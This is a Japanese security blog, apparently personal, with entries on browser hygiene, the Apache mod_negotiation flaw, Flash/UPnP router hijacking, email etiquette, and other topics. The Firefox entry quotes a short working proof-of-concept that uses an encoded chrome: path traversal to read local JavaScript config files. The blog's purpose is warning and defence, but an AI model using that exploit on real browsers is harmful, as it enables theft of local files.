一般的なユーザはインターネットを利用する場合のリスクを十分理解していない場合が多いと思います。コンピュータに詳しくない方が、より安全に利用する為のTipsを考えてみました。
- 常に最新バージョンのブラウザを利用する
- 常に最新バージョンのブラグインを利用する
- JavaScript/プラグインを無効にする
- ブラウザにインストールする拡張機能(プラグイン)は最小限にする
- 仮想環境でブラウザを利用する
- ログアウトする
- ブラウザを終了させる
- 管理者権限を持たないユーザでログインする
- ブラウザとプラグイン以外のアプリケーションも最新版を利用する
- 信用できそうなサイトもできるだけ信用しない
- インターネットからダウンロードしたアプリ、プラグイン、コーデック、ドライバ等をインストールしない
- サイト毎に別のパスワードを設定する
- 文字エンコーディングの自動認識を無効化する
- インターネットからダウンロードした出所が不明なドキュメントは開かない
ここに書いている対策は実際に自分も行っている対策なので、コンピュータに詳しくない方が全て実行するのは難しいとは思います。できる部分だけでも実行すると良いでしょう。
他にもコレ、といった対策/注意点があったら教えてください。
...
常に最新バージョンのブラウザを利用する
当たり前のようですが、このブログを参照されている方でも数%の方が既知の脆弱性があるブラウザを利用されています。攻撃を行う犯罪者はすべてのユーザでなく極一部のユーザのPCに不正なプログラムがインストールできたり、ほんの少しのユーザからセッションなどの重要な情報が盗めるだけで十分です。既知の脆弱性があるブラウザを利用してはなりません。
Firefox
http://www.mozilla-japan.org/products/firefox/
Opera
http://jp.opera.com/download/
Internet Explorer
http://www.microsoft.com/japan/windows/products/winfamily/ie/default.mspx
Internet ExplorerはWindows Update/Microsoft Updateを実行すると最新版にバージョンアップされるので直接バージョンアップする必要はほとんど無いと思います。IE7はIE6に比べセキュリティ機能が向上しているので全てのIEユーザにお勧めです。今年はIE7がWindows Update/Microsoft Updateで配布されるのでIE7を利用する方が大幅に増加すると思います。
新しいソフトウェアには問題が発見される事も多くあります。メジャーバージョンアップの場合はしばらく様子を見てからバージョンアップした方が良いです。しかし、すべてのマイナーバージョンアップは直ぐに適用すべきです。
常に最新バージョンのブラグインを利用する
現在公開されているWebサイトの中にはFlashPlayerブラグインがないと満足に参照できないサイトも少なくありません。しかしFlashPlayerには度々セキュリティ上の問題が見つかっています。昨年末にもユーザが訪問したサイトが設定したすべてのクッキー盗める致命的な脆弱性が発見されています。
FlashPlayerのバージョンチェックと最新版のダウンロード先のURL
QuickTime, Adobe Reader, RealPlayer等、多くのブラウザにインストールされていると考えられるプラグインには数多くの脆弱性がつぎつぎに発見されています。
フィードバックはまだありません...
コメントを残す
Internetに接続されたPCの1/3はLimeWireをインストールしている!?
eMediaWireに掲載されていたレポートによると「Internetに接続されているPCの3台に1台はLimeWireをインストールしている」としています。
File-sharing application LimeWire is now found on more than one-third of all PCs worldwide, according to research jointly published by Digital Music News and BigChampagne. The companies surveyed more than 1.5 million systems for this report.
http://www.emediawire.com/releases/2007/12/emw576418.htm
米国だけの話かと思ったのですが
one-third of all PCs worldwide
LimeWire was found on 36.4% of all PCs, a figure gleaned from a global canvass of roughly 1.66 million desktops.
と世界中の166万台のPCが対象だそうです。少なくとも日本国内のPCでLimeWireがインストールされているPCは非常に少ないと思います。
米国で1/3ならまだしも、世界中で1/3のPCにLimeWireがインストールされている、とするのは少々大げさな気がします。母集団にかなりの偏りがあるのではないかと思います。母集団の偏りは別にしても166万台のうちの60万台ほどのPCにLimeWireがインストールされていたのが事実だとすると驚きです。
米国ではP2P問題は基本的に著作権問題としてして取り扱われ、音楽ファイル等を公開していた個人に対して数千万円の損害賠償請求を認める判決もでています。アメリカの議会ではP2Pネットワークによるファイル共有が国防上の問題として取り上げられていたりします。
一方日本では暴露ウィルスによるファイル流出だけが大きな問題とされ、本質的な問題の議論や理解が進んでいないように感じます。
プログラムのセキュリティ対策と同じで情報を発信する側と受け取る側、両方に効果的な対策が必要だと思います。現在受け取る側の規制としてファイルをダウンロード行為自体を違法とするか議論がされていますが、それよりもまず違法なコンテンツを発信する側に高額な損害賠償金を請求可能にするなどの措置が先に行われるべきだと思います。
参考:
http://arstechnica.com/news.ars/post/20071227-one-third-of-pcs-prefer-limewire.html
http://ja.wikipedia.org/wiki/LimeWire
さすがに1/3と言うのは大げさ過ぎると思い昨年末に書いたこのエントリはお蔵入していました。別の統計を見つけたので公開しました。
http://internet.watch.impress.co.jp/cda/news/2008/01/23/18207.html
これによると
これに対してGnutella互換サーバントは世界的に多く分布しており、中でも米国が約175万ノードで49%を占める。ヨーロッパ各国も約23%と多かった。日本でも約10万9,000ノードあった。
となっています。米国でもたった175万ノードなら「1/3のPCにLimeWireがインストールされている」のは大げさな数値になります。母集団に問題、例えば大学生のPCだけ調べた等、であれば納得できるかも知れない数値ではありますが...
追記
最大のP2PネットワークはThePrivateBayだそうです。
2 コメント
なるほど。P2Pソフトにおけるシェアの1/3なら納得できる数字です。ネットエージェントの調査結果をみると1/3なら控えめすぎるくらいですね。
コメントを残す
Ruby on Rials - Session Fixation脆弱性の攻撃方法
前回に引き続きWeb関係のセキュリティ脆弱性がどのように攻撃されるのか解説した記事がThinkITに掲載されています。
今回はRuby on Railsの脆弱性が対象です。Ruby on Railsにもいくつかのセキュリティ脆弱性が報告されていますが、URLベースのセッションがいかに脆弱であるか解説しています。
解説対象の脆弱性
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5380
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6077
...
Railsのセッション管理機構にはSession Adoption脆弱性は無いのに何故攻撃できるのか?と思った方は読んでみてください。記事を読んで頂くと脆弱性を実際の攻撃に利用するのはそれほど難しくない事が解ると思います。
PHPにもURLベースのセッション管理機能があります。PHPユーザの方にも参考になります。PHPのセッション管理機構はSession Adoption脆弱性を持っています。その意味ではRailsよりも脆弱と言えます。現在のPHPではRails同様、URLベースのセッション管理(transid)はデフォルトでは無効に設定され、クッキーによるセッション管理のみが有効に設定されています。
Railsのセッション管理機構がPHPのセッションモジュールより優れているか?というとそうでもありません。前述の通りPHPのセッション管理機構はSession Adoptionに脆弱ですが、どっちもどっち、といった所です。この点については記事の目的と異なる事もあり解説していません。そのうちこのブログで書くかも知れません。
フィードバックはまだありません...
コメントを残す
日本PostgreSQLユーザ会北海道支部 / Ruby札幌 合同セミナーのお知らせ
2月16日(土)に、日本PostgreSQLユーザ会(JPUG)北海道支部とRuby札幌の合同セミナーが開催されます。
日本PostgreSQLユーザ会北海道支部 / Ruby札幌 合同セミナーのお知らせ
私も講師の一人として参加させて頂きます。PostgreSQLとMySQLのベンチマークについて話す予定です。ご都合がよい方はお越しください。
有料と聞いていないので無料セミナーだと思います。アナウンス文には無料と記載されていないので主催者に問い合わせてみます。
追記:
現在は無料であることがアナウンス文に追加されています。
2 コメント
岡山から千歳にいこう、と思っていたのですが価格的に変わらなかったので高松から千歳に行く事にしました。前日の懇親会にも参加しています。よろしくお願いします。
コメントを残す
エントリのコメントに評価をつけてみました
最近のb2evolutionのフィードバック(コメント)には評価を記録できるようになっているので有効にしてみました。辛口評価コメントも歓迎です。どれが役に立ったのか、立たなかったのか、などはいろいろと参考になります。
「書かない日記」の「書かない」には
- 詳しく書かない
- あまり書かない
- きちんと書かない
の3つの「書かない」の意味があるのですが酷すぎる場合はコメントを入れていただければそのエントリ分の追加は努力します。
と書いて今思い出しました。DNS Rebinding攻撃の書きかけエントリに追記するのを忘れていました...
追記:
試しに入れてみるとフィードバックとして取り扱われるのでモデレートされます。SPAM以外は全部公開しているので安心(?)してください。公開してほしくないコメントの場合、非公開で、と書いておいてください。
1 コメント
コメントを残す
Apache httpd脆弱性のリスク評価は不十分
先日Apache httpdサーバにセキュリティ脆弱性を修正したリリースが公開されました。
例えばSecuniaのApache httpd 2.2の脆弱性ページをみると先日リリースされた2.2.8で修正された脆弱性のセキュリティリスクは低く評価されています。
http://secunia.com/advisories/28046/
ここにはmod_negotiation脆弱性の記述がありません。mod_negotiationはここに掲載されているmod_proxy_ftp,mod_status,mod_proxy_balancer,mod_imagemapと違い、多くの環境でデフォルトで有効となっていると考えられるモジュールです。
Minded Security Labs: Advisory #MSA01150108
Apache mod_negotiation Xss and Http Response Splitting
http://www.mindedsecurity.com/MSA01150108.html
によるとmod_negotiationにはXSS, HTTP Response Splittingが可能な脆弱性があり、それぞれ
Apache <=1.3.39
<= 2.0.61
<= 2.2.6
に影響があります。この脆弱性を利用した攻撃は簡単です。しかもデフォルトで有効なモジュールなので影響は大きいです。
私が管理するサーバもhttpd 2.2.6で運用している物がまだ大半だったのでmod_negotiationが有効だった物は無効化しました。
影響が大きいと考え時間差を作る為と思われますが、あえてチェンジログにはこの脆弱性の修正が記載されていなかったようです。
http://www.apache.org/dist/httpd/CHANGES_2.2.8
攻撃にはサーバ上のファイル名を操作できる必要があります。例えば、画像や添付ファイルなどをアップロードし、そのファイル名を制御できるアプリケーションを使っている場合、この攻撃可能です。CMSやブログアプリ、文書管理システムなどが脆弱である可能性があります。
Apache httpdを運用されてる方は早急に確認/対策される事をお勧めします。
1 コメント
このブログシステム(b2evolution)の添付ファイル名はアップロードするユーザが設定できるようになっています。バリデーションしていなければ共有して使っていると攻撃できるのかも知れません。ファイルをデータベースに格納している場合、アプリケーションがファイル名を生成するようになっていると、つまりハンドラに制御が渡るようなリクエストの場合だと、攻撃ができないと思います。フィルタの場合は攻撃できるような気もします。これは普段mod_negotiationは使わないので試してみないと分かりません。
本来ファイル名は利用できる文字をアプリケーションで制限した方が良いと思います。
当たり前ですが、ローカルアクセスが可能な場合、この攻撃は非常に簡単です。攻撃用のファイル名を作るだけです。
共有環境サーバの場合でPHPのsafe_mode/open_basedirにセキュリティを頼っている場合だと、他のユーザのディレクトリに不正なファイル名のファイルを作成できると、他のドメインのセッションを盗んだり、HTTP Response Splittingで可能な攻撃ができるようになります。
# ファイル名の長さに制限があるのでキャッシュ汚染はできない、とは思いますが。
CSRFに脆弱なアプリケーションがインストールされているなら、悪意のあるページ等から不正なファイルを作成させられる可能性もあります。すぐに思いつく例はファイル名の変更/ファイルの移動機能を持つアプリがCSRFに脆弱だと攻撃される可能性があります。
# このブログが脆弱だったりするかもしれません。(未検証)
少なくともCentOS/Fedora系ではデフォルト設定でmod_negotiationが有効に設定されています。
コメントを残す
Firefox chrome: URL Handling Directory Traversal
前回のエントリでFirefoxの利用をお勧めしているので未パッチのFirefoxの脆弱性を紹介しておきます。
Firefox chrome: URL Handling Directory Traversalにchromeがディレクトリ遷移攻撃に脆弱だとレポートされています。
この脆弱性を用いるとシステム内のファイルを盗まれる可能性があります。(追記に書きましたが、正確にはJavaScriptとして読み取れる必要があります。コードを見ると判りますが、JSON形式のデータファイル, prefs.js等が読みとられる可能性があります。)PoCとしてWindows上のThunderbirdのall.jsを取得するコードが公開されています。
<script>pref = function(x, y){document.write(x + ' -> ' + y + '<br>');};</script>
<scriptsrc='chrome://downbar/content/%2e%2e%2f%2e%2e%2f
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%
2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files
%2fMozilla%20Thunderbird%2fgreprefs%2fall.js'>
</script>
悪意のあるメール、ページには注意が必要です。この種の例は多数あります。Firefoxの脆弱性だけでなくFlash, Adobe Reader, QuickTime, RealPlayerが代表例です。NoScriptは必須の拡張だと言えると思います。
ところで、このようなクライアント側の脆弱性はWeb開発者には関係ない、と考えた方はいないでしょうか?このFirefoxの脆弱性ではセッションIDを盗む事はできませんが、セッションIDを盗める脆弱性もあるのです。昨年末見つかったFlashのUnversal XSS脆弱性などは最悪の部類です。
セッションIDは神経質過ぎるくらいに管理した方が良いと考えています。セミナーなどで「セッション管理は必ずセッションクッキーを使うこと」と繰り返し説明しています。もし有効期限を設定したクッキーを利用している場合、簡単にセッションIDが盗めます。セキュアなWebアプリ作りには定石があります。「セッション管理は必ずセッションクッキーを使う」は基本の中の基本です。しかし、この基本に従っていないアプリケーションも多数あります。この様なアプリケーションの場合、ユーザのセッションIDを盗まれ成りすましによる攻撃を受ける可能性があります。
フレームワークを使っているから安全、などと言うことはありません。普通のフレームワークはセッション管理に利用するクッキーの有効期限は設定可能になっているからです。Webアプリ構築はサーバ側だけでなくクライアント側の問題も考えて作らなければ安全性を維持できません。
追記:
ITMediaに関連記事が載っていました。
http://www.itmedia.co.jp/news/articles/0801/24/news014.html
PoCの見ると関数をオーバーライドして情報を取得しているのでJavaScript形式で書かれた設定ファイルでないと読み取れない。JSONのデータをCSRFで盗むのと同じ要領です。データがJavaScriptとして読み出せるファイルだけしか読みこむ事ができません。FirefoxもThunderbirdもパスワードはDBだったかな? grepしてみた限りでは特に読まれて直ぐに危険、というjsファイルはありませんでした。
一般ユーザは拡張がjarなのかそうでないのか等、気にしていないし気づく事はまずありません。jarにして問題解決ならjarにしないと読めない仕様に変更すれば良いと思います。
ちょっとづつ編集していたら結構いい加減な事を書いていたので修正しました。
1 コメント
コメントを残す
FTPとCPanelユーザはクラッキングに注意が必要
Hack Attack Hits 10,000 Web Sitesによると自動化された攻撃で10000以上のサイトがブラウザやブラウザプラグインの脆弱性を攻撃するコードをホスティングさせられているそうです。
この攻撃はFTPとCPanelのパスワードをブルートフォース方式で解析、ログインできたサイトに自動的に攻撃コードを埋め込むようになっているそうです。攻撃を受けマルウェア配布に利用されているサイト管理者の多くは攻撃自体に気づいていないとしています。
自動化されているので日本語のサイトであることなど関係無しに攻撃される可能性があります。予測しやすいパスワードを利用されている方はすぐに予測できないパスワードに変更されることをお勧めします。
記事には常に変わるJavaScriptを生成するファイルが埋め込まれる、
Those servers have been infected with a pair of files that generate constantly-changing malicious JavaScript.
と書いてありますがさすがに攻撃コード自体を変更するのは難しいと思います。恐らくダウンローダーへアクセスするJavaScriptが動的に生成されているのだと思います。
どのような攻撃が考えられるか参考になるリンク
Death by iFrame
http://www.cio.com/article/135452
これを読むとマルウェアをホスティングさせられたサイトがどのように利用されるか解ると思います。
# 予想なので違っているかも知れません。
# 間違っていたら教えてください。
関連記事
Legitimate sites serving up stealthy attacks
http://www.securityfocus.com/news/11501
Attackers favor compromise over creation
http://www.securityfocus.com/brief/667
Most malware comes from legit sites, says researcher - 51% of sites spreading malicious code have been hacked
http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9058599&intsrc=hm_list
攻撃に成功するとPCはボットネットに組み込まれます。この攻撃から自分(ブラウザのユーザ)を守るには
- ブラウザとプラグインを最新版にする(脆弱性がないバージョンを利用する)
- FirefoxにNoScript拡張をインストールして利用する(信頼しないサイトではiframeを無効にする)
の両方を併用することが望ましいと思います。Flash, QuickTime, RealPlayer, Adobe Readerは最低限チェックすべきプラグインです。アプリケーションが勝手にプラグイン(プロトコルハンドラも)をインストールしている場合もあるので要注意です。
上記の対策だけでは心配なので以下のチェックもする方が良いと思います。
- Windowsを安全な状態にする(Microsoft Updateで最新版の状態にする)
- 無闇にサイトを信頼しない(特に個人運営サイト)
- その他のアプリケーションも脆弱性があるバージョンはすべて更新する
個人運営サイトでなくてもホスティングサービスを利用しているサイト等ではリスクはあります。似たような攻撃ならガジェットを利用しているWebサイトでも可能です。したがってガジェットを利用しているサイトにも注意が必要です。
セキュリティアップデートに敏感なユーザでも脆弱性があるプログラムの更新を忘れている事は非常に多いようです。脆弱性情報サイトとして有名なSecuniaのPSI(Personal Security Inspector)のベータテスト、100万ユーザから得られたデータによると、95%のPCに既知の脆弱性があるプログラムがインストールされていたそうです。PSIをインストールするユーザはセキュリティアップデートには敏感なユーザと考えられますが、95%つまり100万PCのうち95万のPCには何らかの既知の脆弱性があるプログラムがインストールされていた事になります。これには驚きです。
フィードバックはまだありません...
コメントを残す
責任あるDM送信者はどのようにメールを送信すべきか
少し前のエントリ、宛先を個人のメールアドレスに設定しているメルマガは迷惑メールに!の続きです。DM業者はどのようにメールを送信すべきか考えました。
これから書く考えはDM送信側ではなく、DM受信側の視点から考えています。
メールの種類
まず簡単にメールを分類します。受信者から見ると
- 自分のアクションが必要な個人宛メール - 問い合わせ、確認等。
- 経緯などを知らせるだけアクションが不必要なメール - 通知、記録等。
- 情報系のメール - メルマガ、ニュース等。
- スパムメール - 勝手に送ってる迷惑メール。
に分類できると思います。
受信する側から見るとそれぞれ適切であると思われる送付先アドレス設定は次の通りでしょう。
- 自分のアクションが必要な個人宛メール - To: 個人メールアドレス
- 経緯などを知らせるだけでアクションが不必要なメール - CC: 個人メールアドレス または BCC: 個人メールアドレス
- 情報系のメール - To: MLまたは発行者のアドレス
- スパムメール - 迷惑メールなので To: 個人メールアドレス でしょう
自分のアクションが必要な個人宛メール
基本的にプライベートなメール、自分のアクションが必要なメール、必ず目を通しておきたいメールです。ショッピングサイトからのメールでも「受注確認」は確認してもし自分からの注文で無い場合は「キャンセル」というアクションが必要です。この様な場合はToに個人アドレスを設定するのは当然だと思います。
アクションの必要なメールがCC、Bcc、送信元のアドレス宛で送信されてきたら困ります。
経緯などを知らせるだけでアクションが不必要なメール
基本的にプライベートなメールです。自分に経緯を連絡するCCに個人アドレスが載っているのは当然でしょう。特にアクションは必要ないが目を通すだけは通しておいて、といった場合に使う為に用意されています。
皆さんご存知とは思いますがCCとはカーボンコピーの略です。申込書等で1枚目を書くと2枚目、3枚目に写せる紙がありますが写したコピーが「カーボンコピー」です。CCとは写しを意味します。BCCとはブラインドカーボンコピーの略です。ブラインド、つまり見えないカーボンコピーの事です。メールを送信先(To)やカーボンコピー(CC)で送信したユーザに見えない様に送信するメールアドレスを設定します。
情報系のメール
非プライベートなメールです。MLやネットショップのメルマガ、ニュースサイトのメールなどがこの分類のメールになります。これらのメールは個人宛でなく、メルマガや発行者のメールアドレス宛になっている方が受信側にとって便利です。
ネットショップやニュースサイトのメールは「送信者」からするとアクション(広告クリック、商品購入)を取ってほしいメールですが、受信者からみると単なる情報メールです。個人宛に送られてきても何か必ずアクションを取る必要があるメールではありません。
スパムメール
元々スパムなので勝手に何でもするのがスパムメールです。最も効果が高いと期待できる個人宛にメールを送信するのは当然でしょう。まっとうな事業者はスパムメールの真似をする必要はありません。
どう送信すると受信側が便利か?
To, Ccに自分のメールアドレスが設定されているメール全てが個人用のプライベートなメールだと受信者は管理が容易になります。
DMを送信する場合、受信側の立場になってアクションが必要なメールかどうか判断して、個人宛とそれ以外に区別するのが理想的だと思います。しかし、個人的な好みの問題もあるので送信先アドレスを
- 発行者のアドレス
- 受信者のアドレス
のどちらかから選べるようにすれば良いと思います。
ネットショップなどの場合でも、受注確認などのメールは個人宛、利用して頂いたお客様に対して広告メールを送信する場合は非個人宛をデフォルトとして送信すると受信者側は非常に便利です。
もし全ての事業者が上記の方法でメールを送信するような状況なれば、個人宛(To, CC)に送信されるメールは必要なメールとスパムメールだけになります。
DM送信先を非個人宛にするメリット
一昔前はメールの振り分けがよく行われてきましたが、現在では減少傾向にあるのではないかと思っています。GMailの場合、メールは振り分けでなくフィルタで検索するようになっています。フィルタは振り分けと同じような動作をします。しかし、振り分けとフィルタでは大きな違いがあります。フィルタの場合は常に受信したメール全体が検索対象になります。
GMailの様なシステムでは to: yohgaki@ohgaki.net でフィルタを作成すると個人宛のメールが全部表示されます。
個人宛のメールがバルクメール(不特定多数向けに送信されたメール)であふれると不必要なメールに「迷惑メールを報告」ボタンを押して消してしまうユーザが多数いても不思議ではありません。
DM送信先を個人宛にしなければ迷惑メールとして処理されてしまう可能性を少なくできます。
メルマガを発行者アドレス宛に送信するのは発行者に不利益があるか?
メール利用者には幾つかの段階があると思います。
- メールを始めたばかりで振り分けなし
- 自分宛のメールとそれ以外に振り分ける
- 宛先、送信者、などから更に細かく振り分ける
- 振り分け自体が面倒になり振り分けなくなる
- メールを読むのが面倒になり以前ほど使わなくなる
- 迷惑メール(DM含む)が多くなり別のメールアドレスに変える
これ以外に、「捨てアド」を使う、「目的別アドレス」を使う、などの道もあります。
メルマガなどのバルクメールを送信する方にとって、1の段階のユーザにはどのような送信先であっても不利益を得る事はないはずです。2と3の段階のユーザであれば個人宛にメールを送信しないことにより不利益を得る可能性があります。私は現在4の段階ですが、この状態になると個人宛のメルマガ系のメールが非常に鬱陶しいです。実際、一部のメルマガ系のメールは迷惑メールとして処理しています。
不利益となるどうかは各段階のユーザ比率とユーザのサービス利用率で決まると思われます。正直な予想を書くと、送信先を個人宛から発行者アドレス等に変更するとDM送信者がメールから得られる利益は減少すると思います。
責任ある企業としてのメール送信の仕方
普通の企業はスパマーではありません。企業の姿勢としてメール受信者(お客様)の立場に立ってメールを送信するようにしてほしいです。たとえ広告収入が主体のメールであっても、広告をクリックしてくれるユーザを単なるメール受信者として扱うのではなく、お客様として扱ってほしいです。
普通の企業が受信者の立場でメールを送っていたなら「捨てアド」などが一般化する事もなかったかも知れません。しかし、現状は残念ながら大手であっても限りなくスパムメールに近い方法、と言われても仕方ない方法でメールを送信しているケースは少なくありません。
特に大手企業には「儲かりさえすれば良い」等と考えず、お客様の利便性(と安全性)を第一に考えたWebサイトやメールの使い方をして見本を示してほしいです。
短期的に多少の不利益があっても、誰もが認めるお客様本意のサービスを行う事は長期的に企業の利益となるのではないでしょうか。
DMにぜひ付けてほしい機能
- ワンクリック購読解除リンク
- ワンクリック送信先変更リンク
システム構成にもよりますが、どちらの機能もそれほど正しく実装すれば大掛かりな仕組みは必要ありません。リクエストが本人からかハッシュでシグニチャを確認すれば良いだけです。データベースを利用する方法やクッキーを利用する方法も考えられます。もし実装したい方でどういうことか分からない場合はコメントください。
1 コメント
- メールを使わなくなる
があります。一時期「メール破産」が流行った事があります。私もyohgaki@ohgaki.netのアドレスは第5段階になっていると思います。(これと第六段階 - メールアドレスを変える/捨てる、も本文に追加)
仕事柄国内旅行が多く、その際に利用する○○トラベル、○○航空、○□○○ネットなどの過去に利用した事がある予約サイトやホテルのサイトからも個人宛で「冬の旅行は」とか個人宛に届きますがいい迷惑です。旅行がしたくなれば自分で勝手に探します。各サイトは週に1回くらいしか送ってこないですが毎週十数通個人宛に送られてくるとうんざりします。
あまりショッピングサイトは使わない方なのですがショップ系のメールもチリも積もればで沢山来ます。取り合えずIDだけ取っておこう、とIDだけ取って使っていないサイトからも沢山きます。
調べていないので個人的な印象ですが、昔はアメリカのサイトでも同じようなものでした。しかし、現在はオプトインで送ってくるサイトが激減していると思います。(もしかして法律があるのかな?) 日本はまだまだです....
コメントを残す
文字エンコーディングを利用したSQLインジェクション
PHPのSQLインジェクションを実体験
http://www.thinkit.co.jp/free/article/0801/5/2/
を書かせて頂きました。この文字エンコーディングを利用した攻撃は古い脆弱性です。知っている方なら2年以上前からよくご存知とは思います。
記事のタイトル通り、文字エンコーディングを利用したSQLインジェクションを実体験できます。ご興味のある方、まだご存知でない方はぜひご覧ください。
万が一、文字エンコーディングベースの攻撃に未対策で攻撃される可能性のある方はできるだけ早く対策することをお勧めします。
フィードバックはまだありません...
コメントを残す
UPnPルータ+Flash=深刻なセキュリティ問題
GNUCITIZENは重要なセキュリティ問題を次々に公開しているのでセキュリティに興味がある方はチェックしているのでご存知とは思いますが、
Hacking The Interwebs
http://www.gnucitizen.org/blog/hacking-the-interwebs
に非常には深刻なセキュリティ問題が解説してあります。具体的な攻撃方法などはGNUCITIZENを参照してください。日本でもいろいろ書かれるかな、と思っていたのですが予想より少ないのでブログに書くことにします。ここでは重要な部分だけ要約して書きます。
攻撃
Flashを利用したUPnPルータの攻撃シナリオは以下になります。
- UPnPが有効なルータがある
- 悪意のあるFlashをWebブラウザで参照する
- UPnPルータの設定を変更するSOAPリクエストをFlashが送信する
- UPnPルータで可能なルータ設定が変更される(乗っ取られる)
UPnPによるポートフォワード設定等には認証は必要ありません。Flashのセキュリティ脆弱性も必要ありません。ポートフォワード設定だけでも十分致命的ですが、DNSサーバ設定が変更されるとセキュリティ上致命的な問題です。
対策
UPnPルータへの攻撃を効果的に防ぐには
- ルータのUPnP機能を無効にする
しかありません。
FAQ
http://www.gnucitizen.org/blog/flash-upnp-attack-faq
から抜粋&要約
- Flashを表示するだけで攻撃される? - はい
- Flashの脆弱性に依存しているか? - いいえ
- Flashのバージョンに依存しているか? - いいえ
- 最新のUPnPルータなら安全? - いいえ
- UPnPはデフォルト有効か? - はい。ほとんど全てのSOHOルータの初期設定として有効
- UPnPは無効にできる? - はい。無効にしてください
- Flashをアンインストールすれば安全? - いいえ。他の方法で攻撃される可能性がある。
- どれくらい危険? - 非常に深刻です。UPnPを無効にしてください
備考
UPnPは必要か?というと一般的なユーザであればUPnPが無効でも困ることは無いはずです。
困るかもしれないユーザは
- ネットゲームを利用しているユーザ
- P2Pを利用しているユーザ
が考えられます。他にもあるかも知れません。
参考URL
http://www.gnucitizen.org/blog/hacking-the-interwebs
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5
http://www.gnucitizen.org/blog/flash-upnp-attack-faq
http://it.slashdot.org/article.pl?sid=08/01/14/1319256
フィードバックはまだありません...
コメントを残す
宛先を個人のメールアドレスに設定しているメルマガは迷惑メールに!
追記:
いろいろ異論がある事は分かっていながら書きましたが、ぼんやりと考えていた事は正確には伝わっていないと思います。このエントリの続きとして責任あるDM送信者はどのようにメールを送信すべきかを書きました。こちらの方が分かりやすいと思います。要はスパマーでないDM送信側は受信側にもっと配慮すべきだと考えています。その方が両方にとって利益になると考えています。
---
「迷惑メールを報告」ボタンを押させるな!
http://japan.internet.com/wmnews/20080116/7.html
によると以下が読者によって迷惑メールとして処理されてしまう代表的な原因としています。
1. 配信頻度が読者の忍耐を超えている頻度になっている
2. 内容に魅力を感じなくなり飽きている
3. 内容がミスマッチを起こしている
4. 第一印象のメルマガレイアウトが読む気をなくしている
5. 求めていないセールスプロモーションのメールである
6. 価値を感じないセールスメルマガである
7. 登録時に期待していた内容のメルマガではなかった
個人的にはTo(宛先)が自分のメールアドレスになっているメーリングリスト・メルマガが最も迷惑です。
7,8年前はメーリングリストであれば宛先にはメールリストのアドレスが記載されているのが当たり前でした。確か4,5年前くらいから宛先を個人アドレスに設定したメールリストが急増し、現在は当たり前になってしまいました。メールクライアントを使い始めたばかりのユーザでも「自分宛」、「自分にCC」、「それ以外」くらいは自動振り分けしているので、「自分宛」として送信した方が読まれる確率が高くなるのは当たり前です。
メルマガの内容など、読んでも読まなくてもよいDMと同じです。それを送り手側の勝手な意図で「個人宛」として送るのは非常に迷惑です。親展でもないのに親展とDMに書いて送っているような物です。
親展(しんてん)(英:confidential letter; private)とは、封書などにおいて、宛名となっている本人が自分で封を切って読んでほしいという意味またはそのような扱いのことである。
http://ja.wikipedia.org/wiki/%E8%A6%AA%E5%B1%95
郵便のDMもかなりの数が送られてきますが、さすがに親展でもないのに親展と書いてるDMはほとんど記憶にありません。読んだ側に「何これ?タダのDMじゃないか!」と不快に思われ逆効果だと考えているからではないでしょうか?
メーリングリスト/メルマガが個人のメールアドレス宛に送信されるのは非常に迷惑だ常々感じていました。今まで自分宛の不必要なメルマガはメールクライアントで迷惑メールとして処理させてきました。
状況を少しでも改善するために、今後Google,Yahoo,Hotmailなどの個人アドレスにメルマガを送信してきた場合は全て迷惑メールとして報告する事にします。
今や小手先のメルマガ編集方法だけでは読者の心を捕まえることができない。基本に戻ると「何が大切か」が見えてくる。
個人宛に送信するのは「小手先」テクニックの典型例だと思います。「迷惑メールを報告」ボタンを押させるな!のリストに載っていないのが残念です。
8 コメント
報告すれば、その結果が他の同一Webメールユーザーにも影響を与えるのではないでしょうか。その事は考慮されてますか?
>今まで自分宛の不必要なメルマガはメールクライアントで迷惑メールとして処理させてきました。
この対応でしたら当人にしか影響がないので問題ありませんが。
しかしそもそも、不必要なメルマガでしたら購読解除するのが第一でしょう。
また、購読したいが宛先を個人宛にして欲しくないのでしたら、発行者にそう申し出るのが筋かと思います。「メルマガの宛先を個人アドレスにするのは失礼」という認識がないまま発行しているケースも多々あるのではないでしょうか。私はメルマガがDMと同じだという認識はありません。大半のメルマガは自分から「送ってください」という意思を表明して送ってもらうものですから。
「迷惑メールを報告」は、スパムメールに対してのみ使用するものだと思います。あなたにとって迷惑なメルマガ、メーリングリストが、他人にとっては楽しみにしているものかもしれませんから。
> 購読したいが宛先を個人宛にして欲しくないのでしたら、発行者にそう申し出るのが筋かと思います。
宛先に個人アドレスを設定しない方がメールシステムとしては負荷が軽減できる可能性があるところを、送信側ので勝手な都合でメールシステムと送信先に迷惑な方法で送信しています。受信者が迷惑だ、と思われるような送り方をする方が間違いるのではないでしょうか。また、自分に不利益にならない限り送信者は仕様を変更しないでしょう。発行者にいちいち連絡しても意味がないと思います。
# 結局は経済論理で動いていますから。
例に上げているWebメールシステムは私一人がスパム扱いしても直ぐにシステム全体としてスパムとして処理される訳ではありません。しかし、メルマガを個人アドレス宛に送信しつづけているとシステム全体で迷惑メールとして処理されてしまうのも時間の問題だと思います。
一般的なユーザの多くは購読解除も面倒なので「迷惑メールとして登録」をクリックする事は簡単に予想できます。これによりメルマガの発行者に不利益となったとしても自分が撒いた種と言えると思います。
私は自発的にメルマガと呼ばれる物を購読していません。一番迷惑だ、感じている事業者はアマゾンです。広告メールもギフトメールも何もかも個人アドレスに送信してきます。さらに内容がSPAMっぽい物が多く、私のSAPMフィルタの学習機能のお陰で幾つかのギフト券は有効切れになってしまいました。アマゾンはWeb企業としては成功していますが、ログインページがかなり長い間(最近になるまで何年間も)HTTPSでなかったり、と結構でたらめな事をしています。
話を元に戻すと「メルマガ発行者は送信先アドレスをメルマガのアドレスに変更した方が良い」ということです。
送信アドレスを個人アドレス宛にした時期は、スパムメール判定に利用されているベイズフィルタも、Webメールシステムも一般的ではありませんでした。当時は多くのユーザにとって迷惑であっても「個人宛」にメルマガを送信した方が広告効果が高かったでしょう。
今は時代が変わりました。「メルマガの送信先アドレスはメルマガの発行者またはメルマガ自体のアドレス」に設定することが当たり前になるでしょう。
